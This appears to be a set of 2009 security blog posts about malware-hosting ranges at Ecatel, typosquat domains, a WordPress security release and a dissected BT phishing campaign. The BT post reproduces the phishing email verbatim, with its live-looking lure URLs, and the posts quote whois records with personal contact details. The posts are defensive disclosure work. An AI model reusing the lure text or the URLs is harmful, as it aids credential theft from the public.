http://www.virustotal.com/analisis/8805e131badc95e360fa48befa884910db40786e5816515b87c4ace51d1cd387-1258306052

There are currently hundreds of such sites across the Ecatel ranges, and no sign at all, of Ecatel's giving a damn, which means very little chance of their doing anything about it (yep, I know what that likely means too). Because of this, I'm personally blackholing ALL of Ecatels ranges, and suggest others do the same. Until we force these ISP's to change, they're simply going to continue doing this, which is unacceptable.

Whilst we're waiting for Ecatel to explain themselves (should be interesting), you can see details on what is located within their ranges, at;

MalwareURL - AS29073
http://www.malwareurl.com/search.php?domain=&s=29073&match=0&rp=50&urls=on&redirs=on&ip=on&reverse=on&as=on

MalwareDomainList - AS29073
http://www.malwaredomainlist.com/mdl.php?search=29073&colsearch=ASN&quantity=50

hpHosts - 89.248.*
http://hosts-file.net/?s=89.248&view=history&direct=1

hpHosts - 93.174.*
http://hosts-file.net/?s=93.174&view=history&direct=1

hpHosts - 94.102.*
http://hosts-file.net/?s=94.102&view=history&direct=1

Sidenote: hpHosts doesn't currently store the AS info, so you can't search the database using the AS# or AS description as the query. This will however, change once I get round to doing the re-write of the hpHosts code. I've also got a few hundred malicious URL's on the Ecatel range, that aren't on hpHosts yet, but are still on my internal only malware DB, these will be added to hpHosts once they've been processed

Friday, 13 November 2009

IMPORTANT: WordPress 2.8.6 Security Release

WordPress have released a new version folks. MAKE SURE YOU'RE KEEPING YOURS UPTO DATE!!!!

2.8.6 fixes two security problems that can be exploited by registered, logged in users who have posting privileges. If you have untrusted authors on your blog, upgrading to 2.8.6 is recommended.

The first problem is an XSS vulnerability in Press This discovered by Benjamin Flesch. The second problem, discovered by Dawid Golunski, is an issue with sanitizing uploaded file names that can be exploited in certain Apache configurations. Thanks to Benjamin and Dawid for finding and reporting these.


Read more
http://wordpress.org/development/2009/11/wordpress-2-8-6-security-release/

Download
http://wordpress.org/download/

Warning: malwareabytes.com & hotpmail.com

Seems Malwarebytes have gotten themselves a fan, alongside the fans already out for MalwareDomainList et al. Just with malwaredomainlist2.com (which sporadically redirects via domains such as ask.com now by the way), this one is currently parked.

Referred to: whois.above.com
By: whois.internic.net

Registration Service Provided By: ABOVE.COM, INC.
Contact: +613.95897946

Domain Name: MALWAREABYTES.COM

Registrant:
Lu Lan
1187/28-601 Nam Natou road
Shanghai

200125
CN
lulan@hotpmail.com
Tel. +86.13671866757
Fax.

Creation date: 2009-11-11
Expiration Date: 2010-11-11

Domain servers in listed order:
ns1.mid-2.com
ns2.mid-2.com

Administrative Contact:
Lu Lan
1187/28-601 Nam Natou road
Shanghai

200125
CN
lulan@hotpmail.com
Tel. +86.13671866757
Fax.

Technical Contact:
Lu Lan
1187/28-601 Nam Natou road
Shanghai

200125
CN
lulan@hotpmail.com
Tel. +86.13671866757
Fax.

Billing Contact:
Lu Lan
1187/28-601 Nam Natou road
Shanghai

200125
CN
lulan@hotpmail.com
Tel. +86.13671866757


Yep, I noticed the "p" in hotpmail.com too, in the registrants e-mail address. The site certainly isn't registered to Microsoft, nor hosted on a Microsoft owned IP.

Referred to: whois.PublicDomainRegistry.com
By: whois.internic.net

Domainname: HOTPMAIL.COM
Creation date: 11-Dec-2008
Expiry date: 11-Dec-2014
Domain status: ACTIVE

Registrant:
PrivacyProtect.org
Domain Admin (contact@privacyprotect.org)
P.O. Box 97
Note - All Postal Mails Rejected, visit Privacyprotect.org
Moergestel
null,5066 ZH
NL
Tel. +45.36946676
Administrative:
PrivacyProtect.org
Domain Admin (contact@privacyprotect.org)
P.O. Box 97
Note - All Postal Mails Rejected, visit Privacyprotect.org
Moergestel
null,5066 ZH
NL
Tel. +45.36946676
Technical:
PrivacyProtect.org
Domain Admin (contact@privacyprotect.org)
P.O. Box 97
Note - All Postal Mails Rejected, visit Privacyprotect.org
Moergestel
null,5066 ZH
NL
Tel. +45.36946676

Nameservers:
ns7.ns0.com
ns188.pair.com


It did however, redirect to hotmail.com;

#       Result       Protocol       Host       URL       Body       Caching       Content-Type       Process       Comments       Custom
1       301       HTTP       hotpmail.com       /       0              text/html       avant:4476
2       302       HTTP       www.hotmail.com       /       314       no-cache Expires: -1       text/html; charset=utf-8       avant:4476
3       200       HTTP       login.live.com       /login.srf?wa=wsignin1.0&rpsnv=11&ct=1258135091&rver=6.0.5285.0&wp=MBI&wreply=http:%2F%2Fmail.live.com%2Fdefault.aspx&lc=2057&id=64855&mkt=en-gb       2,306       no-cache Expires: Fri, 13 Nov 2009 17:57:14 GMT       text/html; charset=iso-8859-1       avant:4476
4       200       HTTP       login.live.com       /pp700/images/LiveID16nc.gif?1258135090920       388       no-cache        image/gif       avant:4476


A little research shows the chap that registered these domains, also owns a few others, including;

forumactivationlink.com
boysfoog.com
telcelcom.com
dcbdc.com
uncdf.com
data-bg.net
iraklis-fc.com
horse-gams.com
croyscabin.com
filehopo.com
lacasadelpayaso.com

... and I'm sure if I spent more time looking, I could find a heck of alot more, based on what I've seen thus far. Indeed, given the URL's the above take you through, being alot similar (and in some cases, identical), to those malwaredomainlist2.com takes you to, coupled with the same registrar being involved, I don't think it's a stretch to say the same person is responsible for this one too.

Special thanks to Anthony at MalwareURL for informing me about malwareabytes.com.

Info: Network performance this weekend

Just a warning folks. I've just received the following from PlusNet that indicates there's going to be an excessively high amount of traffic this coming weekend, which will see the potential for reduced performance for all of their customers, including those such as myself that have the business package.

Service: Network Capacity (ADSL/20CN)
Posted: Fri, Nov 13 2009 at 17:27:13
Subject: Broadband Network Capacity (285660) - UPDATE

This is an update to the post we made a couple of days ago about the performance problems and speed issues that some customers have been experiencing during peak times when the network is busy.

We have seen an improvement in the performance of the network since carrying out some engineering work earlier in the week. Whilst feedback from customers seems more positive, we are aware that some of you are still experiencing problems with speed and network performance during the evenings.

There are still a number of unresolved problems that our engineers are working to fix and until this happens there will be the potential for things to slow down during peak hours, especially after 6.00pm.

We would like to make customers aware that there's a high possibility that the network will be *very* busy in the evening this coming Sunday and Monday. The BBC are streaming both Doctor Who and Top Gear in high definition and the ITV are also broadcasting I'm a Celebrity Get Me Out Of Here and The X Factor. Whilst this might sound trivial, the last series of Top Gear that was broadcast in Standard Definition saw iPlayer traffic on our network jump from a base of around 700Mbps to 1.3Gbps. We're fairly confident that iPlayer traffic will exceed 2Gbps this weekend and possibly reach an all time high of 3Gbps+

Because of the above we will be switching back to 'Plan B' operation on Sunday and Monday evening - http://www.plus.net/support/broadband/quality_broadband/load.shtml
This *will* result in degraded performance but should ensure that the quality of web browsing is not significantly affected. Some streaming services may be impacted by this dependent on the account type you are subscribed to.

We would like to extend our utmost thanks and appreciation to customers for their patience during these difficulties. We know it's not been pleasant for some of you however we'd like to assure you that we've been doing everything we can to address the issues.

Sorry once more for the continued inconvenience, we'll provide another update early next week.

Kind Regards,

Bob Pullen
Customer Support

Warning: BT (British Telecom) customers beware!

As if BT ripping you off by charging a fortune for calling people isn't enough (over £2 for under 3 mins to a US number!!!!), the phishers have come up with a little help for our dear BT management and shareholders, in the form of a phishing scam.

I was advised about this a little earlier (sorry folks, was sleeping or would've posted this earlier). I don't have the original headers for the e-mail, but needless to say, the following is about the size of it;

----- Original Message -----
From: BT Billing Support <mailto:ebilling@bt.com>
Sent: Wednesday, November 11, 2009 1:32 PM
Subject: BT Notification: Account Update Needed

BT <http://www.bt.com/>

Dear Customer,

This e-mail has been sent to you by BT to inform you that we were unable to process your most recent payment of bill.This might be due to either of the following reasons:

1. A recent change in your personal information. (eg: billing address, phone)
2. Submitting incorrect information during bill payment process.

Due to this, to ensure that your service is not interrupted, we request you to confirm and update your billing information today by clicking here. <http://rehobothbeachvacationde.com/upgrade/update>

If you have already confirmed your billing information then please disregard this message as we are processing the changes you have made.

Kind regards,

BT Total Broadband team

To ensure future emails from BT are delivered to your inbox and not treated as spam, please add emailsupport@btcomms.com to your address book.
This email was sent by planning-inc, an approved BT supplier, to you
from the domain btcomms.com because its content concerns one of your BT services.


Subscribe to BT emails <http://email.bt.com/keepinformed/?s_cid=con_email_marketing_KEEPINFORMED_FOOTERPROMO_SERVICE> | Log in to BT <https://www2.bt.com/btPortal/application?namespace=security&event=link.login&pageid=profile_centre&siteArea=con.pfc&type=overview&com.bea.event.type=linkclick&portletns=profilecentre> | Contact us <http://www.bt.com/contactus> | Privacy policy <http://www.bt.com/privacypolicy>


British Telecommunications plc. Registered office: 81 Newgate Street London EC1A 7AJ
Registered in England No. 1800000.


The URL in the e-mail, as you can see above, is;

rehobothbeachvacationde.com/upgrade/update

IP: 74.52.15.66
IP PTR: barracuda.websitewelcome.com
ASN: 21844 74.52.0.0/14 THEPLANET-AS - ThePlanet.com Internet Services, Inc.

Registrant:
S & A Services Inc.
1167 Old Wilmington Rd.
Hockessin, Delaware 19707
United States

Registered through: GoDaddy.com, Inc. (http://www.godaddy.com)
Domain Name: REHOBOTHBEACHVACATIONDE.COM
Created on: 01-Mar-08
Expires on: 01-Mar-10
Last Updated on: 06-Mar-09

Administrative Contact:
Carpenter, James green4spring@gmail.com
S & A Services Inc.
1167 Old Wilmington Rd.
Hockessin, Delaware 19707
United States
(302) 235-7322

Technical Contact:
Carpenter, James green4spring@gmail.com
S & A Services Inc.
1167 Old Wilmington Rd.
Hockessin, Delaware 19707
United States
(302) 235-7322

Domain servers in listed order:
NS245.WEBSITEWELCOME.COM
NS246.WEBSITEWELCOME.COM

WhoIs server: whois.godaddy.com


This redirects you to the following (see screenshot top left);

blonderhapsody.com/images/upgrade/https/bt.com/webscr/en-uk/secure/&i1bshowgif&UsingSSL&ru&pp&pa/Btinternet=userID12549JDk23/

IP: 69.65.3.130
IP PTR: server314.webhostingpad.com
ASN: 32181 69.65.0.0/18 ASN-ECOMD-COLOQUEST - GigeNET

Registration Service Provided By: Webhostingpad.com
Contact: dns@webhostingpad.com

Domain name: blonderhapsody.com

Registrant Contact:

DNS Admin (dns@webhostingpad.com)

Fax:
3655 Torrance Blvd
Torrance, CA 90503
US

Administrative Contact:
Webhostingpad.com
DNS Admin (dns@webhostingpad.com)
+1.8473429199
Fax:
5005 Newport Dr
Rolling Meadows, IL 60008
US

Technical Contact:
Webhostingpad.com
DNS Admin (dns@webhostingpad.com)
+1.8473429199
Fax:
5005 Newport Dr
Rolling Meadows, IL 60008
US

Status: Locked

Name Servers:
ns1.webhostingpad.com
ns2.webhostingpad.com

Creation date: 05 Jul 2009 12:20:07
Expiration date: 05 Jul 2010 12:20:07


After you've given them your username and password, you're then taken to;

blonderhapsody.com/images/upgrade/https/bt.com/webscr/en-uk/secure/&i1bshowgif&UsingSSL&ru&pp&pa/Btinternet=userID12549JDk23/confirm.php

Give them your credit card etc details, and you're then taken to;


Which after a few seconds, redirects you to the real bt.com website.

/update 16:35

I'm happy to report, Webhostingpad.com have gotten back to me and have confirmed they've now taken down the phish at blonderhapsody.com